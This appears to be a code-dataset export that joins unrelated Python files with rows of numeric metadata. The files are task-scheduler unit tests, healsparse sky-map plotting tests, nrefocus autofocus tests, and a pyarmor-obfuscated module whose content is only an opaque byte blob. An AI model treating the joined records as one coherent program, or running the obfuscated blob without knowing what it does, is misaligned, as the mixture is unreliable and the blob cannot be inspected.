mock_job_system = mock.create_autospec(spec=arvet.batch_analysis.job_system.JobSystem, spec_set=True)
mock_job_system.node_id = 'here'
mock_job_system.is_job_running.return_value = True
mock_job_system.run_task.side_effect = run_task
mock_job_system.is_queue_full.side_effect = is_queue_full
task_manager.schedule_tasks(mock_job_system)
self.assertEqual(max_jobs, mock_job_system.run_task.call_count)
self.assertEqual(max_jobs, queue_len)
def test_schedule_runs_least_failed_jobs_first(self):
# Set up initial database state
tasks = [RunSystemTask(
system=self.system,
image_source=self.image_source,
repeat=repeat,
failure_count=15 - repeat,
state=JobState.UNSTARTED
) for repeat in range(10)]
for task_obj in tasks:
task_obj.save()
# Mock methods to fill a queue
max_jobs = 5
queue = []
def is_queue_full():
nonlocal queue
return len(queue) >= max_jobs
def run_task(task):
nonlocal queue
queue.append(task)
return len(queue)
mock_job_system = mock.create_autospec(spec=arvet.batch_analysis.job_system.JobSystem, spec_set=True)
mock_job_system.node_id = 'here'
mock_job_system.is_job_running.return_value = True
mock_job_system.run_task.side_effect = run_task
mock_job_system.is_queue_full.side_effect = is_queue_full
task_manager.schedule_tasks(mock_job_system)
self.assertEqual(max_jobs, mock_job_system.run_task.call_count)
self.assertEqual(max_jobs, len(queue))
called_task_ids = [call_args[0][0].pk for call_args in mock_job_system.run_task.call_args_list]
self.assertEqual([task.pk for task in tasks[9:4:-1]], called_task_ids)
def test_schedule_tasks_doesnt_rerun_completed_tasks(self):
# Set up initial database state
job_id = 221
node_id = 'this_node'
unfinished_task = RunSystemTask(
system=self.system,
image_source=self.image_source,
repeat=1,
state=JobState.RUNNING,
node_id=node_id,
job_id=job_id
)
unfinished_task.save()
finished_task = RunSystemTask(
system=self.system,
image_source=self.image_source,
repeat=1,
state=JobState.DONE,
result=self.trial_result_1
)
finished_task.save()
mock_job_system = mock.create_autospec(spec=arvet.batch_analysis.job_system.JobSystem, spec_set=True)
mock_job_system.node_id = node_id
mock_job_system.is_job_running.return_value = True
mock_job_system.run_task.return_value = 33
mock_job_system.is_queue_full.return_value = False
task_manager.schedule_tasks(mock_job_system)
task = Task.objects.get({'_id': unfinished_task._id})
self.assertEqual(JobState.RUNNING, task.state)
task = Task.objects.get({'_id': finished_task._id})
self.assertEqual(JobState.DONE, task.state)
self.assertTrue(mock_job_system.is_job_running.called)
self.assertEqual(1, mock_job_system.is_job_running.call_count)
self.assertEqual(job_id, mock_job_system.is_job_running.call_args[0][0])
self.assertFalse(mock_job_system.run_task.called)
def test_schedule_tasks_can_limit_task_ids(self):
# Set up initial database state
included_task = task_manager.get_measure_trial_task(
trial_results=[self.trial_result_1],
metric=self.metric
)
included_task.save()
excluded_task = task_manager.get_measure_trial_task(
trial_results=[self.trial_result_2],
metric=self.metric
)
excluded_task.save()
mock_job_system = mock.create_autospec(spec=arvet.batch_analysis.job_system.JobSystem, spec_set=True)
mock_job_system.node_id = 'here'
mock_job_system.is_job_running.return_value = False
mock_job_system.run_task.return_value = 33
mock_job_system.is_queue_full.return_value = False
task_manager.schedule_tasks(mock_job_system, task_ids=[included_task.identifier])
self.assertEqual(1, mock_job_system.run_task.call_count)
self.assertEqual(mock.call(included_task), mock_job_system.run_task.call_args)
self.assertNotIn(mock.call(excluded_task), mock_job_system.run_task.call_args_list)
class TestTaskManagerCountPendingTasks(unittest.TestCase):
system = None
image = None
image_collection = None
metric = None
comparison_metric = None
trial_result_1 = None
trial_result_2 = None
metric_result = None
comaprison_result = None
@classmethod
def setUpClass(cls):
dbconn.connect_to_test_db()
dbconn.setup_image_manager()
cls.image = mock_types.make_image()
cls.image.save()
cls.image_collection = ic.ImageCollection(
images=[cls.image],
timestamps=[1.2],
sequence_type=ImageSequenceType.SEQUENTIAL
)
cls.image_collection.save()
cls.system = mock_types.MockSystem()
cls.image_source = mock_types.MockImageSource()
cls.metric = mock_types.MockMetric()
cls.comparison_metric = mock_types.MockTrialComparisonMetric()
cls.system.save()
cls.metric.save()
cls.comparison_metric.save()
cls.trial_result_1 = mock_types.MockTrialResult(
image_source=cls.image_collection, system=cls.system, success=True)
cls.trial_result_2 = mock_types.MockTrialResult(
image_source=cls.image_collection, system=cls.system, success=True)
cls.trial_result_1.save()
cls.trial_result_2.save()
cls.metric_result = mock_types.MockMetricResult(metric=cls.metric, trial_results=[cls.trial_result_1],
success=True)
cls.metric_result.save()
cls.comparison_result = tcmp.TrialComparisonResult(
metric=cls.comparison_metric,
trial_results_1=[cls.trial_result_1],
trial_results_2=[cls.trial_result_2],
success=True)
cls.comparison_result.save()
@classmethod
def tearDownClass(cls):
# Clean up after ourselves by dropping the collection for this model
Task._mongometa.collection.drop()
tcmp.TrialComparisonResult._mongometa.collection.drop()
mock_types.MockTrialResult._mongometa.collection.drop()
mock_types.MockMetric._mongometa.collection.drop()
mock_types.MockSystem._mongometa.collection.drop()
ic.ImageCollection._mongometa.collection.drop()
im.Image._mongometa.collection.drop()
dbconn.tear_down_image_manager()
def test_returns_number_of_incomplete_tasks(self):
# Set up initial database state. We have 3 tasks of each type, 1 complete, 1 running, 1 unstarted of each
Task._mongometa.collection.drop()
# Import dataset tasks
task = ImportDatasetTask(
module_name='test',
path='/dev/null',
state=JobState.UNSTARTED
)
task.save()
task = ImportDatasetTask(
module_name='test',
path='/dev/null',
state=JobState.RUNNING,
node_id='here',
job_id=10
)
task.save()
task = ImportDatasetTask(
module_name='my_importer',
path='/dev/null',
state=JobState.DONE,
result=self.image_collection
)
task.save()
# Run system tasks
task = RunSystemTask(
system=self.system,
image_source=self.image_collection,
repeat=1,
state=JobState.UNSTARTED
)
task.save()
task = RunSystemTask(
system=self.system,
image_source=self.image_collection,
repeat=2,
state=JobState.RUNNING,
node_id='here',
job_id=11
)
task.save()
task = RunSystemTask(
system=self.system,
image_source=self.image_collection,
repeat=3,
state=JobState.DONE,
result=self.trial_result_1
)
task.save()
# Measure trial tasks
task = MeasureTrialTask(
trial_results=[self.trial_result_1, self.trial_result_2],
metric=self.metric,
state=JobState.UNSTARTED
)
task.save()
task = MeasureTrialTask(
trial_results=[self.trial_result_1, self.trial_result_2],
metric=self.metric,
state=JobState.RUNNING,
node_id='here',
job_id=12
)
task.save()
task = MeasureTrialTask(
trial_results=[self.trial_result_1, self.trial_result_2],
metric=self.metric,
state=JobState.DONE,
result=self.metric_result
)
task.save()
# Compare trials tasks
task = CompareTrialTask(
trial_results_1=[self.trial_result_1],
trial_results_2=[self.trial_result_2],
metric=self.comparison_metric,
state=JobState.UNSTARTED
)
task.save()
task = CompareTrialTask(
trial_results_1=[self.trial_result_1],
trial_results_2=[self.trial_result_2],
metric=self.comparison_metric,
state=JobState.RUNNING,
node_id='here',
job_id=12
)
task.save()
task = CompareTrialTask(
trial_results_1=[self.trial_result_1],
trial_results_2=[self.trial_result_2],
metric=self.comparison_metric,
state=JobState.DONE,
result=self.comparison_result
)
task.save()
# Tell me how many are not done
# Should be 12 total, 4 of which are done, leaving 8
self.assertEqual(8, task_manager.count_pending_tasks())
| 39.35131
| 119
| 0.658268
| 6,093
| 51,078
| 5.221073
| 0.048744
| 0.073086
| 0.069313
| 0.0171
| 0.886867
| 0.857067
| 0.819974
| 0.794323
| 0.769269
| 0.748585
| 0
| 0.012125
| 0.255648
| 51,078
| 1,297
| 120
| 39.38165
| 0.824592
| 0.034966
| 0
| 0.702283
| 0
| 0
| 0.014314
| 0.001645
| 0
| 0
| 0
| 0
| 0.208219
| 1
| 0.056621
| false
| 0
| 0.03653
| 0.001826
| 0.1379
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
906aabc79bbdb0b7989d2e1725bb2bebb3c7fe66
| 58
|
py
|
Python
|
password_generator/__init__.py
|
AndrewOwenMartin/password-generator
|
4d3e1345058371de14dd555f1e02785d919d803c
|
[
"Apache-2.0"
] | null | null | null |
password_generator/__init__.py
|
AndrewOwenMartin/password-generator
|
4d3e1345058371de14dd555f1e02785d919d803c
|
[
"Apache-2.0"
] | null | null | null |
password_generator/__init__.py
|
AndrewOwenMartin/password-generator
|
4d3e1345058371de14dd555f1e02785d919d803c
|
[
"Apache-2.0"
] | null | null | null |
from password_generator.generate_password import frontend
| 29
| 57
| 0.913793
| 7
| 58
| 7.285714
| 0.857143
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.068966
| 58
| 1
| 58
| 58
| 0.944444
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 1
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
|
0
| 7
|
907621bb00bf53854fb121c0f9d11b1c11928b28
| 48
|
py
|
Python
|
test/test_example.py
|
jason71319jason/Interview-solved
|
42ca93a68475952753d185c325cb55c79e2e55e1
|
[
"MIT"
] | 46
|
2019-10-14T01:21:35.000Z
|
2022-01-08T23:55:15.000Z
|
test/test_example.py
|
jason71319jason/Interview-solved
|
42ca93a68475952753d185c325cb55c79e2e55e1
|
[
"MIT"
] | 53
|
2019-10-03T17:16:43.000Z
|
2020-12-08T12:48:19.000Z
|
test/test_example.py
|
jason71319jason/Interview-solved
|
42ca93a68475952753d185c325cb55c79e2e55e1
|
[
"MIT"
] | 96
|
2019-10-03T18:12:10.000Z
|
2021-03-14T19:41:06.000Z
|
import pytest
def test_empty():
assert True
| 12
| 17
| 0.729167
| 7
| 48
| 4.857143
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.208333
| 48
| 4
| 18
| 12
| 0.894737
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.333333
| 1
| 0.333333
| true
| 0
| 0.333333
| 0
| 0.666667
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
90c6e9aa35969bc9277a2f45e0d2a76ec3065440
| 7,083
|
py
|
Python
|
tests/test_healpix_maps.py
|
LSSTDESC/skyproj
|
c1e3365e958b2bd99e72e4e053da6b0ddaceb2b2
|
[
"BSD-3-Clause"
] | 6
|
2022-02-22T15:44:35.000Z
|
2022-03-31T17:14:18.000Z
|
tests/test_healpix_maps.py
|
LSSTDESC/skyproj
|
c1e3365e958b2bd99e72e4e053da6b0ddaceb2b2
|
[
"BSD-3-Clause"
] | 15
|
2022-01-11T22:06:16.000Z
|
2022-03-07T21:49:48.000Z
|
tests/test_healpix_maps.py
|
LSSTDESC/skyproj
|
c1e3365e958b2bd99e72e4e053da6b0ddaceb2b2
|
[
"BSD-3-Clause"
] | null | null | null |
import os
import numpy as np
import healsparse as hsp
import matplotlib
matplotlib.use("Agg")
from matplotlib.testing.compare import compare_images, ImageComparisonFailure # noqa: E402
import matplotlib.pyplot as plt # noqa: E402
import skyproj # noqa: E402
ROOT = os.path.abspath(os.path.dirname(__file__))
def _get_hspmap():
# Make a square noise field
np.random.seed(1234)
hspmap = hsp.HealSparseMap.make_empty(32, 4096, np.float32)
poly = hsp.geom.Polygon(ra=[0.0, 10.0, 10.0, 0.0], dec=[0.0, 0.0, 10.0, 10.0], value=1.0)
pixels = poly.get_pixels(nside=hspmap.nside_sparse)
hspmap[pixels] = np.random.normal(size=pixels.size).astype(np.float32)
# Add in a central square of fixed value.
poly2 = hsp.geom.Polygon(ra=[5, 5.2, 5.2, 5.0], dec=[5, 5.0, 5.2, 5.2], value=3.0)
pixels2 = poly2.get_pixels(nside=hspmap.nside_sparse)
hspmap[pixels2] = 3.0
return hspmap
def test_healsparse(tmp_path):
"""Test plotting a healsparse map."""
plt.rcParams.update(plt.rcParamsDefault)
hspmap = _get_hspmap()
fig = plt.figure(1, figsize=(8, 5))
fig.clf()
ax = fig.add_subplot(111)
sp = skyproj.McBrydeSkyproj(ax=ax)
im, lon_raster, lat_raster, values_raster = sp.draw_hspmap(hspmap)
sp.draw_inset_colorbar()
fname = 'healsparse_one.png'
fig.savefig(tmp_path / fname)
err = compare_images(os.path.join(ROOT, 'data', fname), tmp_path / fname, 40.0)
if err:
raise ImageComparisonFailure(err)
# Try a different colormap on the zoom.
fig = plt.figure(1, figsize=(8, 5))
fig.clf()
ax = fig.add_subplot(111)
sp = skyproj.McBrydeSkyproj(ax=ax)
sp.draw_hspmap(hspmap, lon_range=[4.9, 5.3], lat_range=[4.9, 5.3], cmap=plt.colormaps['rainbow'])
sp.draw_colorbar()
fname = 'healsparse_two.png'
fig.savefig(tmp_path / fname)
err = compare_images(os.path.join(ROOT, 'data', fname), tmp_path / fname, 40.0)
if err:
raise ImageComparisonFailure(err)
fig = plt.figure(1, figsize=(8, 5))
fig.clf()
ax = fig.add_subplot(111)
sp = skyproj.McBrydeSkyproj(ax=ax, lon_0=-175.0)
im, lon_raster, lat_raster, values_raster = sp.draw_hspmap(hspmap, zoom=False)
sp.draw_inset_colorbar()
fname = 'healsparse_three.png'
fig.savefig(tmp_path / fname)
err = compare_images(os.path.join(ROOT, 'data', fname), tmp_path / fname, 40.0)
if err:
raise ImageComparisonFailure(err)
def test_healpix(tmp_path):
"""Test plotting a healpix map."""
plt.rcParams.update(plt.rcParamsDefault)
hspmap = _get_hspmap()
hpxmap = hspmap.generate_healpix_map()
fig = plt.figure(1, figsize=(8, 5))
fig.clf()
ax = fig.add_subplot(111)
sp = skyproj.McBrydeSkyproj(ax=ax)
im, lon_raster, lat_raster, values_raster = sp.draw_hpxmap(hpxmap, nest=True)
sp.draw_inset_colorbar()
# These should match the healsparse maps, so we can use the same comparison.
fname = 'healsparse_one.png'
fig.savefig(tmp_path / fname)
err = compare_images(os.path.join(ROOT, 'data', fname), tmp_path / fname, 40.0)
if err:
raise ImageComparisonFailure(err)
fig = plt.figure(1, figsize=(8, 5))
fig.clf()
ax = fig.add_subplot(111)
sp = skyproj.McBrydeSkyproj(ax=ax)
sp.draw_hpxmap(hpxmap, nest=True, lon_range=[4.9, 5.3], lat_range=[4.9, 5.3],
cmap=plt.colormaps['rainbow'])
sp.draw_colorbar()
fname = 'healsparse_two.png'
fig.savefig(tmp_path / fname)
err = compare_images(os.path.join(ROOT, 'data', fname), tmp_path / fname, 40.0)
if err:
raise ImageComparisonFailure(err)
def test_healsparse_widemask(tmp_path):
"""Test plotting a healsparse wide mask."""
plt.rcParams.update(plt.rcParamsDefault)
# Start with a 1-byte width map
hspmap = hsp.HealSparseMap.make_empty(32, 4096, hsp.WIDE_MASK, wide_mask_maxbits=7)
poly = hsp.geom.Polygon(ra=[0.0, 10.0, 10.0, 0.0], dec=[0.0, 0.0, 10.0, 10.0], value=1.0)
pixels = poly.get_pixels(nside=hspmap.nside_sparse)
hspmap.set_bits_pix(pixels, [0])
poly2 = hsp.geom.Polygon(ra=[5, 5.2, 5.2, 5.0], dec=[5, 5.0, 5.2, 5.2], value=3.0)
pixels2 = poly2.get_pixels(nside=hspmap.nside_sparse)
hspmap.set_bits_pix(pixels2, [4])
fig = plt.figure(1, figsize=(8, 5))
fig.clf()
ax = fig.add_subplot(111)
sp = skyproj.McBrydeSkyproj(ax=ax)
im, lon_raster, lat_raster, values_raster = sp.draw_hspmap(hspmap)
sp.draw_inset_colorbar()
fname = 'healsparse_wide_one.png'
fig.savefig(tmp_path / fname)
err = compare_images(os.path.join(ROOT, 'data', fname), tmp_path / fname, 40.0)
if err:
raise ImageComparisonFailure(err)
# And do the same with a 2-byte wide map
hspmap = hsp.HealSparseMap.make_empty(32, 4096, hsp.WIDE_MASK, wide_mask_maxbits=15)
poly = hsp.geom.Polygon(ra=[0.0, 10.0, 10.0, 0.0], dec=[0.0, 0.0, 10.0, 10.0], value=1.0)
pixels = poly.get_pixels(nside=hspmap.nside_sparse)
hspmap.set_bits_pix(pixels, [0])
poly2 = hsp.geom.Polygon(ra=[5, 5.2, 5.2, 5.0], dec=[5, 5.0, 5.2, 5.2], value=3.0)
pixels2 = poly2.get_pixels(nside=hspmap.nside_sparse)
hspmap.set_bits_pix(pixels2, [10])
fig = plt.figure(1, figsize=(8, 5))
fig.clf()
ax = fig.add_subplot(111)
sp = skyproj.McBrydeSkyproj(ax=ax)
im, lon_raster, lat_raster, values_raster = sp.draw_hspmap(hspmap)
sp.draw_inset_colorbar()
fname2 = 'healsparse_wide_one_alt.png'
fig.savefig(tmp_path / fname2)
# Compare to the previoues one.
err = compare_images(os.path.join(ROOT, 'data', fname), tmp_path / fname2, 40.0)
if err:
raise ImageComparisonFailure(err)
def test_hpxpix(tmp_path):
"""Test plotting healpix pixels."""
plt.rcParams.update(plt.rcParamsDefault)
hspmap = _get_hspmap()
pixels = hspmap.valid_pixels
values = hspmap[pixels]
fig = plt.figure(1, figsize=(8, 5))
fig.clf()
ax = fig.add_subplot(111)
sp = skyproj.McBrydeSkyproj(ax=ax)
im, lon_raster, lat_raster, values_raster = sp.draw_hpxpix(hspmap.nside_sparse,
pixels,
values,
nest=True)
sp.draw_inset_colorbar()
fname = 'healsparse_one.png'
fig.savefig(tmp_path / fname)
err = compare_images(os.path.join(ROOT, 'data', fname), tmp_path / fname, 40.0)
if err:
raise ImageComparisonFailure(err)
fig = plt.figure(1, figsize=(8, 5))
fig.clf()
ax = fig.add_subplot(111)
sp = skyproj.McBrydeSkyproj(ax=ax)
sp.draw_hpxpix(hspmap.nside_sparse, pixels, values, nest=True,
lon_range=[4.9, 5.3], lat_range=[4.9, 5.3],
cmap=plt.colormaps['rainbow'])
sp.draw_colorbar()
fname = 'healsparse_two.png'
fig.savefig(tmp_path / fname)
err = compare_images(os.path.join(ROOT, 'data', fname), tmp_path / fname, 40.0)
if err:
raise ImageComparisonFailure(err)
| 36.137755
| 101
| 0.648878
| 1,065
| 7,083
| 4.171831
| 0.143662
| 0.034661
| 0.043214
| 0.026334
| 0.817691
| 0.80081
| 0.768175
| 0.759847
| 0.748593
| 0.714607
| 0
| 0.051291
| 0.212763
| 7,083
| 195
| 102
| 36.323077
| 0.745517
| 0.062121
| 0
| 0.723684
| 0
| 0
| 0.03599
| 0.007561
| 0
| 0
| 0
| 0
| 0
| 1
| 0.032895
| false
| 0
| 0.046053
| 0
| 0.085526
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
291d839d2d5980a3eb431de0fd559e5cf792ba13
| 8,413
|
py
|
Python
|
tests/test_2d_autofocus_legacy.py
|
paulmueller/nrefocus
|
4405513fd4cd4340b507be0ba0e33f9dfc556249
|
[
"BSD-3-Clause"
] | 6
|
2017-04-10T08:24:39.000Z
|
2022-02-09T02:20:01.000Z
|
tests/test_2d_autofocus_legacy.py
|
RI-imaging/nrefocus
|
18d520ffa3d13a31255fdee30d48258d61adfb6b
|
[
"BSD-3-Clause"
] | 12
|
2017-04-10T08:30:48.000Z
|
2021-06-21T11:20:08.000Z
|
tests/test_2d_autofocus_legacy.py
|
paulmueller/nrefocus
|
4405513fd4cd4340b507be0ba0e33f9dfc556249
|
[
"BSD-3-Clause"
] | 2
|
2020-10-04T02:21:48.000Z
|
2022-01-13T17:14:08.000Z
|
"""Test 2D autorefocusing of legacy minimizer"""
import numpy as np
import nrefocus
import pytest
from test_helper import load_cell
@pytest.mark.filterwarnings('ignore::nrefocus.minimizers.mz_legacy.'
'LegacyDeprecationWarning')
def test_2d_autofocus_cell_helmholtz_average_gradient():
rf = nrefocus.iface.RefocusNumpy(field=load_cell("HL60_field.zip"),
wavelength=647e-9,
pixel_size=0.139e-6,
kernel="helmholtz",
)
# attempt to autofocus with standard arguments
d = rf.autofocus(metric="average gradient",
minimizer="legacy",
interval=(-5e-6, 5e-6))
assert np.allclose(d, -8.69809203142537e-07, atol=0)
nfield = rf.propagate(d)
assert np.allclose(nfield[10, 10],
1.045874817165857-0.020467790949516538j,
atol=0)
@pytest.mark.filterwarnings('ignore::nrefocus.minimizers.mz_legacy.'
'LegacyDeprecationWarning')
def test_2d_autofocus_helmholtz_average_gradient():
field = 1*np.exp(1j*np.linspace(.1, .5, 256)).reshape(16, 16)
d = 5
nm = 1.533
res = 8.25
method = "helmholtz"
# first propagate the field
rfield = nrefocus.refocus(field=field,
d=d,
nm=nm,
res=res,
method=method)
# then try to refocus it
d, nfield = nrefocus.autofocus(
field=rfield,
nm=nm,
res=res,
ival=(-1.5*d, -0.5*d),
roi=None,
metric="average gradient",
minimizer="legacy",
padding=True,
num_cpus=1,
)
assert np.allclose(d, -3.263187429854096)
assert np.allclose(0, np.angle(nfield/rfield), atol=.047)
assert np.allclose(1, np.abs(nfield/rfield), atol=.081)
@pytest.mark.filterwarnings('ignore::nrefocus.minimizers.mz_legacy.'
'LegacyDeprecationWarning')
def test_2d_autofocus_helmholtz_average_gradient_zero():
field = 1*np.exp(1j*np.linspace(.1, .5, 256)).reshape(16, 16)
d = 0
nm = 1.533
res = 8.25
method = "helmholtz"
# first propagate the field
rfield = nrefocus.refocus(field=field,
d=d,
nm=nm,
res=res,
method=method,
padding=False
)
# then try to refocus it
_, nfield = nrefocus.autofocus(
field=rfield,
nm=nm,
res=res,
ival=(-1.5*d, -0.5*d),
roi=None,
metric="average gradient",
minimizer="legacy",
padding=False, # without padding, result must be exact
num_cpus=1,
)
assert np.allclose(nfield.flatten().view(float),
rfield.flatten().view(float))
@pytest.mark.filterwarnings('ignore::nrefocus.minimizers.mz_legacy.'
'LegacyDeprecationWarning')
def test_2d_autofocus_fresnel_average_gradient():
field = 1*np.exp(1j*np.linspace(.1, .5, 256)).reshape(16, 16)
d = 5
nm = 1.533
res = 8.25
method = "fresnel"
# first propagate the field
rfield = nrefocus.refocus(field=field,
d=d,
nm=nm,
res=res,
method=method)
# then try to refocus it
_, nfield = nrefocus.autofocus(
field=rfield,
nm=nm,
res=res,
ival=(-1.5*d, -0.5*d),
roi=None,
metric="average gradient",
minimizer="legacy",
padding=True,
num_cpus=1)
assert np.allclose(0, np.angle(nfield/rfield), atol=.125)
assert np.allclose(1, np.abs(nfield/rfield), atol=.147)
@pytest.mark.filterwarnings('ignore::nrefocus.minimizers.mz_legacy.'
'LegacyDeprecationWarning')
def test_2d_autofocus_return_grid_field():
rf = nrefocus.iface.RefocusNumpy(field=load_cell("HL60_field.zip"),
wavelength=647e-9,
pixel_size=0.139e-6,
kernel="helmholtz",
)
# attempt to autofocus with standard arguments
d, (dgrid, mgrid), nfield = rf.autofocus(
metric="average gradient",
minimizer="legacy",
interval=(-5e-6, 5e-6),
ret_grid=True,
ret_field=True,
)
idx_metric_min = np.argmin(mgrid)
idx_distance = np.argmin(np.abs(dgrid - d))
assert idx_metric_min == idx_distance
@pytest.mark.filterwarnings('ignore::nrefocus.minimizers.mz_legacy.'
'LegacyDeprecationWarning')
def test_2d_autofocus_stack_same_dist_nopadding():
d = 5.5
nm = 1.5133
res = 6.25
method = "helmholtz"
size = 10
metric = "average gradient"
stack = 1*np.exp(1j*np.linspace(.1, .5, size**3)).reshape(size, size, size)
rfield = nrefocus.refocus_stack(fieldstack=stack,
d=d,
nm=nm,
res=res,
method=method)
ds, nfield = nrefocus.autofocus_stack(
fieldstack=rfield.copy(),
nm=nm,
res=res,
ival=(-1.5*d, -0.5*d),
roi=None,
metric=metric,
minimizer="legacy",
padding=False,
same_dist=False,
num_cpus=1,
copy=True)
# reconstruction distance is same in above case
ds_same, nfield_same = nrefocus.autofocus_stack(
fieldstack=rfield.copy(),
nm=nm,
res=res,
ival=(-1.5*d, -0.5*d),
roi=None,
metric=metric,
minimizer="legacy",
padding=False,
same_dist=True,
num_cpus=1,
copy=True)
assert np.allclose(np.mean(ds), -4.867283950617284)
assert np.all(np.array(ds) == ds_same)
assert np.all(np.array(ds) == np.mean(ds))
assert np.allclose(nfield.flatten().view(float),
nfield_same.flatten().view(float),
atol=.000524)
@pytest.mark.filterwarnings('ignore::nrefocus.minimizers.mz_legacy.'
'LegacyDeprecationWarning')
def test_2d_autofocus_stack_same_dist():
d = 5.5
nm = 1.5133
res = 6.25
method = "helmholtz"
size = 10
metric = "average gradient"
stack = 1*np.exp(1j*np.linspace(.1, .5, size**3)).reshape(size, size, size)
rfield = nrefocus.refocus_stack(fieldstack=stack,
d=d,
nm=nm,
res=res,
method=method,
padding=True)
ds, nfield = nrefocus.autofocus_stack(
fieldstack=1*rfield,
nm=nm,
res=res,
ival=(-1.5*d, -0.5*d),
roi=None,
metric=metric,
minimizer="legacy",
padding=True,
same_dist=False,
num_cpus=1,
copy=True)
assert np.allclose(np.array(rfield).flatten().view(float),
np.array(nfield).flatten().view(float),
atol=.013)
# reconstruction distance is same in above case
ds_same, nfield_same = nrefocus.autofocus_stack(
fieldstack=1*rfield,
nm=nm,
res=res,
ival=(-1.5*d, -0.5*d),
roi=None,
metric=metric,
minimizer="legacy",
padding=True,
same_dist=True,
num_cpus=1,
copy=True)
assert np.allclose(nfield[0][8][8],
0.9900406072155992+0.1341183159587472j)
assert np.allclose(nfield[0][2][8],
0.9947454248517085+0.11020637810883656j)
assert np.allclose(np.mean(ds), -4.8240740740740735)
assert np.allclose(np.array(ds), np.mean(ds))
assert np.allclose(np.array(ds), ds_same)
assert np.allclose(nfield, nfield_same)
if __name__ == "__main__":
# Run all tests
loc = locals()
for key in list(loc.keys()):
if key.startswith("test_") and hasattr(loc[key], "__call__"):
loc[key]()
| 32.110687
| 79
| 0.528943
| 936
| 8,413
| 4.646368
| 0.168803
| 0.034951
| 0.062543
| 0.027593
| 0.806852
| 0.798804
| 0.786388
| 0.754656
| 0.748678
| 0.689814
| 0
| 0.068832
| 0.355878
| 8,413
| 261
| 80
| 32.233716
| 0.733715
| 0.050398
| 0
| 0.707763
| 0
| 0
| 0.089062
| 0.054441
| 0
| 0
| 0
| 0
| 0.091324
| 1
| 0.031963
| false
| 0
| 0.018265
| 0
| 0.050228
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
29298336dfe8f6bc979a549fc54bfc54ec6e4487
| 21,015
|
py
|
Python
|
Python/windwardrestapi/Model/VariableValue.py
|
windward-studios/Windward-REST-version-2-Clients
|
8fd467e6f4ece6fcc435609ffb23448d07af3131
|
[
"MIT"
] | null | null | null |
Python/windwardrestapi/Model/VariableValue.py
|
windward-studios/Windward-REST-version-2-Clients
|
8fd467e6f4ece6fcc435609ffb23448d07af3131
|
[
"MIT"
] | 1
|
2020-10-12T20:32:05.000Z
|
2020-10-12T20:38:04.000Z
|
Python/windwardrestapi/Model/VariableValue.py
|
windward-studios/Windward-REST-version-2-Clients
|
8fd467e6f4ece6fcc435609ffb23448d07af3131
|
[
"MIT"
] | null | null | null |
__pyarmor__(__name__, __file__, b'\x50\x59\x41\x52\x4d\x4f\x52\x00\x00\x03\x08\x00\x55\x0d\x0d\x0a\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00\x3c\x14\x00\x00\x00\x00\x00\x10\x6d\x6f\xca\xa4\x99\x3b\x33\xee\x31\x55\x8e\x1e\xa9\xa2\xf0\xf8\x00\x00\x00\x00\x00\x00\x00\x00\x47\x06\x77\x22\x41\x38\x65\x8c\x9c\x08\x66\xd2\x98\x81\x01\xa9\xcb\x6a\x01\xfc\x09\x10\x3a\x6b\x7b\xa7\xf8\x79\xfb\x0e\x15\xc2\x41\xf8\x0c\x76\x68\x2b\x40\xb0\xd9\x8a\x60\xb6\xdf\xaf\xec\xdd\x8f\x0b\x18\x46\x92\x33\xce\xf6\xb6\x97\x64\x99\x3f\xd9\x6b\x71\x2e\x9c\xa5\x96\xed\xf5\x7f\xb4\x31\xdc\xaf\x93\x2d\xc2\x93\x62\xb2\x51\xca\xf6\xf3\x5e\x34\xbc\x1f\x77\xb0\xa7\xdb\x4e\x82\xce\xb4\xf0\x1b\x4f\x39\x76\x3f\x7f\xb0\x0b\xc7\x96\x85\x03\x5c\xcc\x42\xfa\xe9\x8a\x05\x47\x9d\x8d\x81\x3a\x16\x55\xb8\xab\x4e\xff\xf8\xbe\xea\x5c\x98\xac\x59\xa2\xa7\x06\xb5\xe1\x47\xa7\x70\x62\x22\x21\x6f\xff\xa6\x41\x42\xcd\x5e\x17\xa2\xc4\x71\x50\x64\x66\xbe\xb0\x30\x67\x0f\x8b\x3e\x6e\x50\x69\xb4\x12\xc1\x6b\xe0\xbd\xda\x11\x79\x14\x2e\xa7\xf0\xe4\x32\xf4\x61\x1c\x42\x3a\x53\xc1\x6e\xb3\xee\xd7\x61\x58\x56\xdd\xb6\x21\x18\x93\xbf\xb4\xf7\x46\x77\x7a\x19\xca\xeb\xe3\xbe\xd8\x51\xff\xc5\x75\xe5\x4a